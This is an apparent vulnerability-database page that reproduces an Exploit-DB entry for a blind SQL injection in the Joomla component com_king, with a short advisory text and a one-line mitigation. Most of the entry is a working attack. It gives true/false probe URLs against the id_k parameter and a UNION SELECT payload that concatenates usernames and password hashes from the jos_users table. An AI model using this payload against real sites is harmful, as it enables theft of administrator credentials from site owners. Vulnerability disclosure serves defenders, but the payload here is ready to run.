Joomla Component com_king Blind SQL Injection Vulnerability

vendor:

com_king

by:

Pyske | Bug Researchers

CVSS

HIGH

Blind SQL Injection

CWE

Product Name: com_king

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

Joomla Component com_king Blind SQL Injection Vulnerability

A Blind SQL Injection vulnerability exists in the Joomla Component com_king, which allows an attacker to gain access to the admin login credentials. This vulnerability can be exploited by sending a maliciously crafted HTTP request to the vulnerable application. The malicious request contains a specially crafted SQL query that can be used to extract the admin login credentials from the database. The demo vulnerability can be tested by sending a TRUE request with the URL http://site.com/kids/index.php?option=com_king&Itemid=0&task=show&id_k=13 and 1=1 and a FALSE request with the URL http://site.com/kids/index.php?option=com_king&Itemid=0&task=show&id_k=13 and 1=0.

Mitigation:

Input validation should be used to filter out malicious characters.

Source

Exploit-DB raw data:

<------------------- header data start ------------------- >

#############################################################
# Joomla Component com_king Blind SQL Injection Vulnerability
#############################################################

# Author : Pyske | Bug Researchers


# Name : com_king


# Bug Type : Blind SQL Injection


# Infection : Admin login bilgileri al?nabilir.


# Demo Vuln. :

TRUE(+)

http://site.com/kids/index.php?option=com_king&Itemid=0&task=show&id_k=13 and 1=1

FALSE(-)

http://site.com/kids/index.php?option=com_king&Itemid=0&task=show&id_k=13 and 1=0

# Bug Fix Advice : Zararli karakterler filtrelenmelidir.

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path /index.php?option=com_king&Itemid=0&task=show&id_k=13/**/and/**/1=0/**/union/**/select/**/0,concat(username,0x3a,password),2,3,4,5,6,7,8/**/from/**/jos_users--

< -- bug code end of -- >